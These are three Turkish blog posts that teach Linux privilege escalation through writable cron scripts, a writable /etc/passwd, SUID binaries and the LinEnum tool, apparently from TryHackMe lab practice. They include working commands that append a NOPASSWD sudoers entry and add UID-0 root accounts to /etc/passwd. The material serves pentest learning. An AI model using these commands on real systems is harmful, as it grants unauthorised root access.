Privilege Escalation etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Privilege Escalation etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

25 Ocak 2021 Pazartesi

crontab ile Linux yetki yükseltme - Part III


Root Yetkilerini Elde Etmek İçin Yanlış Yapılandırılmış Cron İzinlerini İstismar Etmek

Linux yetki yükseltme konusunda bir diğer adım yanlış yapılandırılmış Cron izinlerini kontrol etmek ve bunları istismar etmek.

Linux yetki yükseltme ile ilgili önceki iki yazıya sırasıyla aşağıdaki linklerden ulaşılabilir:

1. Linux'ta yetki yükseltme (Privilege Escalation) 

2. /etc/passwd ile Linux yetki yükseltme - Part II 

Bu defa crontab ile nasıl yetki yükseltilebileceğine bakıyorum.

Öncelikle "cron" kavramları ile tanışalım:

1. Cron Nedir?

Cron, Yunanca "zaman" kelimesinin öneki olan "chron"dan geliyor. Cron, sistem önyüklemesi (system boot) sırasında çalışan bir arka alan süreci. 

Daha açıklayıcı olması açısından ve kısaca süper kullanışlı bir iş planlayıcı da denilebilir. İşleri periyodik olarak çalışacak şekilde planlamanıza olanak tanır. Cron genellikle sistem yöneticisi görevlerini otomatikleştirmek için kullanılır ancak bireysel kullanıcılar da e-posta indirme, zararlı yazılım tarayıcıları çalıştırma ve web sitelerini güncelleme için kontrol etme gibi görevleri otomatikleştirmek için Cron'u kullanabilir.

2. Crontab Nedir?

Crontab ise "Cron Table" kelimelerinin birleşiminden oluşmuş ve belirli (belirtilen) zamanlarda çalıştırılacak cron girdilerinin zamanlamasını içeren bir dosya. 

Crontab dosyasının yeri işletim sistemlerine göre değişiklik gösterebiliyor. Linux sistemlerinde ise sistem genelinde crontab'ın konumu /etc/ crontab. Cron, bu dosyadaki betikleri ve komutları çalıştırırken root olarak çalışacaktır.

Unix sistemlerde her kullanıcı için farklı crontab kopyası tutulur. Aşağıdaki komut ile mevcut kullanıcıya ait crontab dosyasını düzenlemek mümkün:

crontab -e

Ayrıca mevcut kullanıcıya ait crontab bilgilerine erişmek için de aşağıdaki komut kullanılabilecektir:

crontab -l

3. Cron job ya da Cron Schedule nedir?

Cron job yürütme talimatlarının bir kümesidir ve yürütülecek günü, saati ve komutu belirlemeye yarar. 

Özetle; Cron bir  arka plan programı. İstenen komutları belirlenen tarih ve saatlerde çalıştıyor. Bu komutlar ister tek seferlik ister tekrar eden görevler olarak belirlenebiliyor. Cron deamon tarafından yürütülmesi için komutlar ve talimatları içeren bir crontab dosyası oluşturmak gerekiyor. Bu görevlere ise cron job(s) deniyor.

Hangi Cron job'ların aktif olduğu nasıl görülür?

cat /etc/crontab

Yukarıdaki komut kullanılarak ayarlanmış cron joblar görülebilir.

Pentest yaparken ya da CTF çözerken LinEnum ya da benzeri bir script herhangi bir sonuç vermiyorsa mutlaka kontrol edilmesi gereken yerlerden birtanesi burası.

Cron job formatını anlamak

Cron job'lar belirli bir formata sahiptir ve aynı söz dizimini izler. 

Her satır, çalıştırılacak bir komutu ve çalıştırılması gereken zamanı belirtir.

Bir cron job zafiyetini istismar etmek istiyorsak da bu formatı bilmek gerekir. (Aynı /etc/passwd'de olduğu gibi bkz: Part II)

Formatta kullanılan harf ve semboller aşağıdaki gibi:

# = ID

m = Minute - Dakika

h = Hour - Saat

dom = Day of the month - Ayın hangi günü

mon = Month - Ay

dow = Day of the week - Haftanın hangi günü

user = Komut hangi kullanıcı olarak çalıştırılacak

command = Hani komut çalıştırılacak

 

ÖRNEK:

45 19 * * * cd /Users/sinem/scripts/security; ./scan.sh

Yukarıda yer alan cron job sisteme şunu söyler:

- Haftanın her günü (Wildcard / joker yani * işareti "tümü" anlamına gelir),

- Her ay,

- Ayın her günü,

- Saat 19

- Dakika 45'te

- cd /Users/sinem/scripts/security dizininde yer alan scan.sh shell'ini çalıştır.

 

Sistem çapında crontab'lerde kullanıcının komutu aşağıdaki şeklilede çalıştırması da belirtilebilir:

* * * * * <kullanıcıadı> <çalıştırılacak olan komut>


Örneğin komut aşağıdaki şekilde verildiğinde sisteme bu komutu root kullanıcısı ile çalıştırmasını söyleyecektir:
 

45 19 * * * root cd /Users/sinem/scripts/security; ./scan.sh   

Cron ile Yetki Yükseltme Nasıl Yapılır?

Öncelikle Cron nasıl zafiyet kaynağı haline gelebiliyor bunu anlamak gerekir. 
 
Cron, /etc/crontab çalıştırılırken root olarak çalışır, bu nedenle crontab tarafından çağrılan tüm komutlar veya betikler (scripts) de root olarak çalışır.

Cron tarafından yürütülen bir komut dosyası, yetkili (sistem ayrıcalıkları) olmayan kullanıcılar tarafından düzenlenebilir durumda (w-writable) olduğunda, yetkisiz kullanıcılar, bu komut dosyasını düzenleyerek ve Cron tarafından root ayrıcalıkları altında çalıştırılmasını bekleyerek yetki yükseltebilir. 

ÖRNEK:

Aşağıdaki satır /etc/crontab içerisinde yer alıyor. 

Her akşam 7:45'de Cron maintenance.sh shell'ini çalıştıracak. 

Bu betik /etc/crontab tarafından çağırıldığı için root yetkileri ile çalışacak.

19 45 * * * cd /path/to/maintenance.sh

Yukarıdaki betikte yer alan" shell'i her kullanıcı tarafından değiştirilebilir durumda bırakıldıysa ya da ele geçirmiş olduğumuz kullanıcı hesabı bu betik üzerinde değişiklik yapma yetkisine sahipse bu durumda maintenance.sh'a istediği komutları ekleyebilecek ve bu komutların root kullanıcısı olarak çalıştırılmasını sağlayabilecektir.

Sonuç olarak yetki yükseltmeyi de sağlayabilecektir.  

Örneğin aşağıdaki komutu kullanarak kendi kullanıcımı Sudoer olarak ekleyip superuser yetkilerini alabilirim:

echo “sinem ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

Ya da bir önceki linux yetki yükseltme yazısında (bkz: burası)görmüş olduğum /etc/passwd/ içerisine yeni bir root kullanıcısı ekleyebilirim.

echo “sinem::0:0:System Administrator:/root/root:/bin/bash” >> /etc/passwd

Yukarıda yer alan komutta "0” root kullanıcısının user ID'sidir (UID). Bu nedenle UID'si “0” olan bir kullanıcının eklenmesi bu kullanıcıya root yetkileri verecektir. Bu kullanıcının "sinem" kullanıcı adı ve boş bir şifresi olacaktır.

Ardından da geriye elde ettiğimiz root yetkileri ile sistemde at koşturmak kalacaktır :)

 

24 Ocak 2021 Pazar

/etc/passwd ile Linux yetki yükseltme - Part II


Linux yetki yükseltme (privilege escalation) konusuna https://www.sinembasaran.com/2021/01/linuxta-yetki-yukseltme-privilege.html linkindeki yazı ile başladım ancak konu haliyle çok uzun ve tek bir yazıya sığmadı. 

Linux yetki yükseltme mevzularına kaldığım yerden devam ediyorum:

Bu defa konu yazılabilir durumdaki /etc/passwd dosyasını istismar etmek.

Öncelikle Part I'de yer alan LinEnum aracını kurmuş, anlamış ve çalıştırmış olmamız gerekiyor.

Tüm bunların gerçekleştiğini varsayarsak, eğer LinEnum bize /etc/passwd dosyasının yazılabilir olduğu bilgisini verdiyse işler bundan sonra başlıyor.  

Kullanıcılar hakkında bilgi toplama işlemini de gerçekleştirmiş ve hangi kullanıcının hangi yetkilere sahip olduğu bilgisini de bu aşamaya kadar artık edinmiş olmalıyız.

etc/passwd nedir?

1. /etc/passwd dosyası login yani giriş yaparken gerekli olan bilgileri saklar. Bu da kullanıcıların giriş bilgilerini sakladığı anlamına gelir. 

2. /etc/passwd düz metin (plain text) bir dosyadır. 

3. Her kullanıcı hesabına ait kullanıcı kimliği, grup kimliği, ana dizin, shell ve benzeri yararlı bilgiler veren sistem hesaplarının bir listesini içerir.

4. /etc/passwd dosyası birçok komut aracı kullanıcı kimliklerini adlarıyla eşlemek için kullandığından genel okuma iznine sahiptir ancak yazma (değişiklik yapma) hakkı ancak root yani superuser kullanıcısı ile limitlendirilmiş olmalıdır. Eğer bu kısıtlama yapılmamışsa ya da bir kullanıcı yanlışlıkla değişiklik yapma hakkı bulunan bir gruba eklenmişse bu bir zafiyet bulunduğu anlamına gelir.

Bir önceki yazıda bahsettiğim yatay privilege escalation ile /etc/passwd üzerinde değişiklik yapabilen kullanıcının hesabı ele geçirilebilirse bu durumda root yetkileri de ele geçirilebilir demektir.

/etc/passwd formatı

/etc/passwd dosyası sistemde yer alan her kullanıcı (hesabı) için bir satırda bir giriş bulundurur.

Tüm bölümler : sembolü ile birbirinden ayrılmıştır.

Aşağıdaki şekilde 7 bölümden oluşur ve genellikle şu şekilde görünür:

    test:x:0:0:root:/root:/bin/bash
 

her : sembolünden öncesini bir bölüm kabul ederek:

1. Bölüm: Kullanıcı adı. 

Kullanıcı login olduğunda kullanılır. 1-32 karakter arası uzunlukta olmalıdır. Yukarıdaki örnekte kullanıcı adı "test" olarak görülmektedir.

2. Bölüm: Parola. 

Parola bölümünde görülen x karakteri şifrelenmiş parolanın / etc / shadow dosyasında saklandığını gösterir.

(CLI'ye* yazılan bir parolanın hash** bilgilerini hesaplamak veya parolanın hashini / etc / shadow dosyasında saklamak veya güncellemek için passwd komutunu kullanmanız gerekir, bu durumda parola hashi "x" olarak saklanır. 

* CLI = Command line interface = Komut satırı arayüzü))

** Hash = herhangi bir metnin şifrelenerek okunamaz veya önceden tahmin edilemez hale getirilmesi algoritması ve işlemi.

3. Bölüm: User ID (UID)

Her kullanıcıya bir kullanıcı ID'si (user ID ya da UID) atanması gerekir. UID 0 (zero) root kullanıcısına ayırılmıştır ve 1-99 arasındaki diğer UID'ler diğer önceden tanımlı hesaplara aittir. 100 ile 999 arasındaki UID'ler ise sistem tarafından yönetici ve sistem hesapları/gruplarına ayrılır.

4. Bölüm: Group ID (GID) 

Kullanıcıların her birinin bir birincil grubu bulunması gerektiğini yine ilk yazıda yazmıştım. Burada 4. bölümde görülen de bu birincil grup ID'sidir ve /etc/group dosyası içerisinde saklanır.

5. Bölüm: User ID Info 

User ID bilgilerini içerir ve yorum alanıdır. Kullanıcının adı, telefon numarası gibi kullanıcılar hakkında ekstra bilgi edinmeye olanak tanır. Finger* komutu ile kullanılır.

* Finger komutu oturum açmış tüm kullanıcıların ayrıntılarını veren bir kullanıcı bilgisi arama komutudur.

6. Bölüm: Home dizini. Kullanıcının oturum açtığında içinde olacağı dizinin mutlak yolu (Absolute path)*. Bu dizin yoksa, kullanıcılar dizini / (kök dizin) olur.

Absolute path / Mutlak yol: Bir dosyanın veya dizinin konumunu kök dizinden (/) itibaren belirtmek olarak tanımlanır. Örneğin trash diye bir dosyam var diyelim bunun mutlak yolu /home/sinem/Downloads/trash olarak gösteriliyorsa tüm üst dosyalar da sıralandığından mutlak yol ile gösterilmiş demektir.

7. Bölüm: Command/shell

Komut ya da shell'in* mutlak yoludur (/bin/bash). 

Genellikle bu bir shell'dir ancak olmayadabilir.

* Shell: Unix veya GNU / Linux gibi bir işletim sisteminde diğer programları çalıştıran bir programdır. Kullanıcılara Unix / GNU Linux sistemine bir arayüz sağlar, böylece kullanıcı bazı girdi verileriyle farklı komutları veya yardımcı programları / araçları çalıştırabilir.

Yazılabilir durumdaki /etc/passwd nasıl istismar edilir?

Eğer ele geçirilebilen bir kullanıcının /etc/passwd dosyasına yazma yetkisi varsa bu durumda yukarıdaki şekilde yeni bir satır ekleyebilir ve yeni bir kullanıcı oluşturabiliriz. İstediğimiz gibi oluşturacağımız için de istediğimiz parola hashini kullanabilir ve UID ile GID ve shell'i de root olarak ayarlayabiliriz. 

Sonuçta root olarak yönetici yetkileri ile sisteme bağlanacak kendimize ait bir kullanıcımız olur.

Yeni bir kullanıcı eklemeden önce ilk yapılması gereken ekleyecek uyumlu bir parola hash oluşturmak. Bunun yapılabilmesi için kullanılacak komut ise:

openssl passwd -1 -salt [salt] [password]

Ben örneği TryHackMe üzerinden yaptığımdan komutu aşağıdaki şekilde girdim:

new adlı kullanıcı için 123 şeklinde bir parola hash'i oluşturulması istenmişti,

user7@polobox:~$ openssl passwd -1 -salt new 123
$1$new$p7ptkEKU1HnaHpRtzNizS1

Görüldüğü gibi yukarıdaki hash çıktı.

Bu elde edilen bilgiler ile devam edelim. 

Yeni bir root kullanıcı hesabı oluşturmak için yazılacak /etc/passwd girdisi (kullanıcı adı: new ve parola hash yukarıdaki şekilde) şöyle olmalı:

new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

(Daha önce yukarıda yazmış olduğum standart /etc/passwd formatında yalnız 1. ve 2. bölümleri değiştirerek kullanıcı adı ve parola hash bilgilerini girdim.)

Son olarak yukarıda yazılı olan girdiyi /etc/passwd içerisine eklemek kalıyor geriye.

Bunun için normalde vim kullanıyor olmama rağmen çalışmadığından nano kullandım:

nano /etc/passwd

Artık /etc/passwd içerisinde değişiklik yapabiliyorum.

Son satıra yukarıdaki girdiyi ekledim ve ctrl X ile kaydedip çıktım.

Kullanıcımı oluşturmuş olmam lazım.

su komutu ile new kullanıcısına geçiş yapalım:

user7@polobox:/etc$ su new
Password:
Welcome to Linux Lite 4.4

 
You are running in superuser mode, be very careful.
 

 

23 Ocak 2021 Cumartesi

Linux'ta yetki yükseltme (Privilege Escalation)

Linux'ta yetki yükseltme (privilege escalation) ne anlama geliyor?

Yetki yükseltme herhangi bir kullanıcının düşük seviye yetkilerini daha yüksek bir yetkiye getirilmesi anlamına gelir.

Bizim için bunun önemi ise düşük yetkili bir kullanıcıyı yönetici yetkilerine getirebilecek bir zafiyet bulmak ve bunu istismar ederek sistemi ele geçirebilmektir (genellikle kullanıcılara izin verilmeyen bazı dosyaları açmak, root olarak komut çalıştırmak vs.).

Linux'ta yetki yükseltme (privilege escalation) konusu neden önemli?

Gerçek bir sızma testi yaptığımızı düşünelim, direkt olarak yönetici yetkilerini ele geçirmek genellikle mümkün olmayacaktır. İlk olarak elde edilen bir kullanıcının yetkileri olacak ve bu yetkiler de bize sınırlı işlem kabiliyeti verecektir.

Yetki yükseltme bu durumda kritik bir rol oynar çünkü başarılabilirse sistem yöneticisine ait tüm yetkiler elde edilmiş olur. 

Peki bu yetkileri ele geçirmek ne işe yarar, neler yapılabilir?

- Parolalar sıfırlanabilir,
- Korunan verileri ele geçirmek için erişim kontrol noktaları atlatılabilir,
- Yazılım yapılandırmaları değiştirilebilir,
- Sistemde sürekli (kalıcı) olarak yerleşmek mümkün olabilir (böylece makinaya istediğimiz zaman tekrar erişim sağlanabilecektir),
- Başka kullanıcılara ait yetkiler değiştirilebilir.. vb.

Bunların yanında diğer yönetici (ya da super user (sudo) komutları da çalıştırılabilecektir.    

Linux'ta yetki yükseltme (privilege escalation) çeşitleri?

Temelde iki tip yetki yükseltme mümkündür: yatay ve dikey.

Eğer başka bir kullanıcının yetkileri ele geçirilebiliyorsa buna yatay, eğer yönetici yetkileri ele geçirilebiliyorsa buna dikey yetki yükseltme denir.

Yatay yetki yükseltme: Kendi kullanıcımız ile aynı seviyede (aynı yetkilere sahip) başka bir kullanıcının yetkilerini ele geçirmemizdir. Aynı seviyede bir kullanıcı olduğu için faydasız değildir, aksine bu yeni kullanıcı bize yönetici yetkilerini ele geçirebilmemiz için gereken kapıyı açıyor olabilir. Bu yeni kullanıcının erişebildiği dizin ve dosyalar artık araştırmamız için elimizin altındadır. Tekrar bir başka aynı seviye kullanıcı hesabının ele geçirilmesi için de kullanılabilecektir.

Dikey yetki yükseltme: Privilege escalation yerine  Privilege Elevation da denmektedir ve ayrıcalıkların yükselmesi anlamına gelir. Local yani yerel sistemde yetki yükseltme saldırıları için yönetici yetkilerine ya da root kullanıcı ayrıcalıklarına sahip bir hesabın ele geçirilmesi anlamına gelir.

Yetki yükseltme için LinEnum kullanımı  


LinEnum nedir?


LinEnum bir bash betiğidir ve yetki yükseltmeye çalışırken oldukça kolaylık sağlar.
 
** Önemli: LinEnum ya da benzeri komut dosyalarının kullanılamadığı bir durumda güvenlik açıklarını manuel olarak sıralayabilmek için LinEnum'un hangi komutları çalıştırdığını ve gerektiğinde bu komutların yerine ne kullanılabileceğini bilmek önem taşır. 

LinEnum nasıl yüklenir?


https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh


Yukarıda yer alan adresten yüklenebilir. LinEnum özellikle yetki yükseltmeye çalışırken çok işe yarayacak bir araç olduğundan nereye yüklendiği ve nasıl kullanıldığının hatırlanması iyi olacaktır.
 
 
LinEnum hedef makineye nasıl yüklenir?


LinEnum'u hedef makinaya alabilmek için iki yol var:
 
1. Kendi yerel makinenizde bulunan LinEnum kopyanızın saklandığı dizine gidin daha sonra aşağıda yer alan kodu kullanarak bir Python web sunucusu başlatın. 
 
┌──(sinem㉿sparta)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
 
Ardından hedef makinede "wget" kullanarak dosyayı yerel makinenizden alabilirsiniz.
 
┌──(sinem㉿sparta)-[~]
└─$ wget "localIPadresiniz":8000/LinEnum.sh

 
Ardından dosyayı "chmod +x FILENAME.sh" komutu ile çalıştırılabilir hale getirebilirsiniz.

! Eğer dosya transfer edilemiyorsa: Hedef dosyadaki kullanıcının bu işlem için yeterli yetkiye sahip olması durumunda LinEnum kodunun raw hali yerel makinadan kopyalanıp hedef makinada bir dosya içerisine kaydedilebilir (.sh uzantısı ile). Bunun için ben vim kullanıyorum ancak Nano da kullanılabilir. Ardından kaydedilen dosyanın yine çalıştırılabilir hale gelmesi için chmod +x dosya adı komutunun kullanılması gerekir. Böylece hedef makinada LinEnum script'i ./LinEnum.sh komutuyla çalıştırılabilir. 

LinEnum Çıktılarını anlamak

LinEnum çıktıları birkaç bölümden oluşur.

Kernel: Bu bölümde Kernel bilgileri yer alır.  

(Kernel nedir? İşletim sistemi çekirdeği, kısaca çekirdek. Daha detaylı bilgi için: https://tr.wikipedia.org/wiki/%C3%87ekirdek_(bilgisayar_bilimi) )

Hassas dosyaları okuyabiliyor ya da bu dosyalara yazabiliyor muyum? LinEnum ile alınan çıktılar bize herhangi bir kimliği doğrulanmış kullanıcı tarafından yazılabilir ve okunabilir dosyaları gösterir. 

Hassas dosyaların yetki izinlerine bakarak nerede bir hatalı yapılandırma olduğu araştırılabilir. Ayrıca normalde erişilmemesi gereken herhangi bir dosyaya herhangi bir kullanıcının erişim izni bulunması ve bu dosyaya yazabilmesi de araştırılır.

SUID Dosyaları: SUID dosyalarının çıktılarının gösterildiği bölümdür. 

(SUID Nedir? SUID (Set owner User ID up on execution), adından da anlaşılabileceği üzere "dosyayı dosya sahibinin izinleri ile çalıştır" demektir. Yani çalıştırılabilir dosyalar için, diğer kullanıcıların dosyayı sahibinin etkin izinleriyle çalıştırmasına olanak tanıyan özel bir dosya iznidir. Yürütme izinlerini temsil eden normal x yerine, kullanıcı için bir s (SUID belirtmek için) özel izni görülür. Daha detaylı bilgi için: https://www.tecmint.com/how-to-find-files-with-suid-and-sgid-permissions-in-linux/ )

Dolayısıyla yetki yükseltme için kullanılabilmektedir.

Crontab: Zamanlanmış görevler burada gösterilir. Cron komutların belirtilen zamanda çalıştırılması için kullanılır. Bu zamanlanmış görevlere "cron jobs" denir. Gerekli komutlar ve talimatları cron deamon'un çalıştırması için oluşturan crontab dosyaları crontab komutu ile oluşturulur. Bu bölümde cronjobs'ı istismar etmek için gerekli bilgiler bulunabilir.

LinEnum çıktıları bu kadarla sınırlı değildir ve genellikle istismar için çok sayıda önemli bilgiyi verir. 

SUID Dosyalarını Bulmak ve İstismar Etmek

Linux'ta yetki yükseltmeye çalışılırken ilk yapılması gereken SUID/SGID bit set dosyalarını araştırmaktır.

Dosya veya dosyaların, dosya sahibi ya da grubunun izinleriyle çalıştırılabileceği düşünülürse "super user" olarak dosyaları çalıştırabileceğimiz anlamına gelir. Bu da yetki sahibi olarak shell elde etmek için bundan yararlanabileceğimiz anlamına gelir.

SUID binary nedir?

Bilindiği üzere Linux'ta okuma / yazma / yürütme gibi üç işleme izin verme veya kısıtlama yetkilerine sahip dizinler ve cihazlar dahil olmak üzere her şey bir dosyadır. Bir dosya için yetki belirlediğimizde bu yetkilerin (okuma / yazma / yürütme yetkileri) kime ya da kimlere verildiğinin de bilinmesi gerekir.

Maksimum yetki (rwx-rwx-rwx) şeklinde görülür ve şu anlama gelir:

r = read (okuyabilir)

w = write (yazabilir)

x = execute (çalıştırabilir)

rwx-rwx-rwx görüldüğünde ilk üçlü (rwx) kullanıcı, ikincisi grup, üçüncü ise "diğer" için tanımlanmış yetkileri ifade eder.

Bu örnekte her üçü de okuma, yazma ve çalıştırma yetkilerine sahip olduğundan "maksimum yetkiler"e sahip oldukları anlaşılır ve rakam ile gösterimi: 421 421 421 şeklindedir.

Her kullanıcı yetkisi için belirlenebilecek maksimum rakam 7'dir ve okuma (4), yazma (2) ve çalıştırma (1)'in toplamına eşittir.

Farklı bir örnek olarak yetkileri chmod komutu ile 755 olarak ayarlarsak rwx-rx-rx olacak ve ilk rakam (7) kullanıcının maksimum yetkilere sahip olduğunu gösterecek, grup çalıştırma ve okuma yetkilerine, "diğerleri" de çalıştırma ve okuma yetkilerine (çünkü 4+1=5) sahip olacaktır.

ANCAK

Eğer her kullanıcıya özel yetki verilirse SUID (Set User ID) ya da SGID
(Set Group ID) haline gelir.

Bu durumda normalde gördüğümüz "x" yani execute yani çalıştırabilme yetkisinin yerini "s" alır. 

SUID ararken bakılacak yetki aşağıdaki gibi görünür:

rws-rwx-rwx

SGID (ya da GUID)
ararken bakılacak yetki aşağıdaki gibi görünür:

rwx-rws-rwx  

SUID Binary bulmak

LinEnum scan sonucunda sistemde SUID özellikli dosyalar olduğunu tespit edebiliyoruz.

Ancak tespit işini manuel olarak yapmak istiyorsak aşağıdaki komutu kullanarak sistemde yer alan SUID/GUID dosyalarını aratabiliriz:

find / -perm -u=s -type f 2>/dev/null 

* Normalde find komutu ile bir şey aradığımızda milyon tane "Permission denied" yazan hata döndüğünden komutun son kısmında yer alan  2>/dev/null kullanımı hayat kurtarır.

Buarada dünyalar iyisi find komutunu da iyi kullanabilir olmak sıklıkla işe yarıyor. Yukarıdaki komutta yer alan flagların ne olduğunu bilmiyorsanız Find Komutu ile Aradığını Bulmak (Linux) ve Deneme Soruları yazıma bakabilirsiniz. 

Bu yazı olması gerekenden çok uzadığı için burada bırakıyorum. Devamına Linux'ta yetki yükseltme (Privilege Escalation) II yazısından erişilebilecektir. 

Daha öğrenilmesi gereken çok şey var...


John the Ripper ile Şifre Kırmak

  JOHN THE RIPPER ARACIYLA ŞİFRE KIRMAK  John The Ripper, açık kaynak ve ücretsiz bir şifre kırma aracı. Her ne kadar Unix için çıkmış ols...